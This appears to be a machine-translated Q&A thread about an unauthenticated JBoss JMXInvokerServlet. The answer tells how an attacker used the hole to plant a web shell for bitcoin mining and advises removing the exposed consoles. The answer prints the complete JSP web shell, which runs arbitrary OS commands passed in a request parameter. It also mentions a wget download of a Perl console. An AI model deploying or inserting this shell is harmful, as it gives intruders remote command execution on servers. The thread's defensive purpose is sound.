在测试期间,我们执行了漏洞扫描,并确定了一个不需要对JMXInvokerSerlet进行身份验证的Jboss服务器。 我没有准确地解决问题。无论是Jboss问题还是servlet?
如果有人可以帮助我,请告诉我解决方案。
什么是问题,是否有任何解决方案? 提前谢谢
答案 0 :(得分:0)
我的VPS上最近遇到了这个问题。
我有一个JBoss安装(版本4.2.3),任何人都可以访问web控制台和调用程序。发生的事情是有人利用这个JBoss Vulnerability并使用现有的exploit在我的Jboss安装中插入一个JSP Web shell。
JSP Web Shell基本上是这样的:
<%@ page import="java.util.*,java.io.*"%>
<%
String cmd;
String[] cmdarr;
String OS = System.getProperty("os.name");
if (request.getParameter("cmd") != null) {
cmd = new String (request.getParameter("cmd"));
if (OS.startsWith("Windows")) {
cmdarr = new String [] {"cmd", "/C", cmd};
}
else {
cmdarr = new String [] {"/bin/sh", "-c", cmd};
}
Process p = Runtime.getRuntime().exec(cmdarr);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
这使得攻击者可以直接从浏览器执行操作系统命令。在我的情况下,我的VPS被用来挖掘比特币,在wget之后获取一个看起来像另一种类型的控制台的Perl脚本。
课程学到了很多方法:(所以,如果你还没有做任何事,请做。
我只是删除了HttpInvoker和WebConsole / JMX-Console的部署,因为我不需要它们。您还可以看到how to secure the WebConsole,this link also provides a better explanation,而不是我。
希望有所帮助!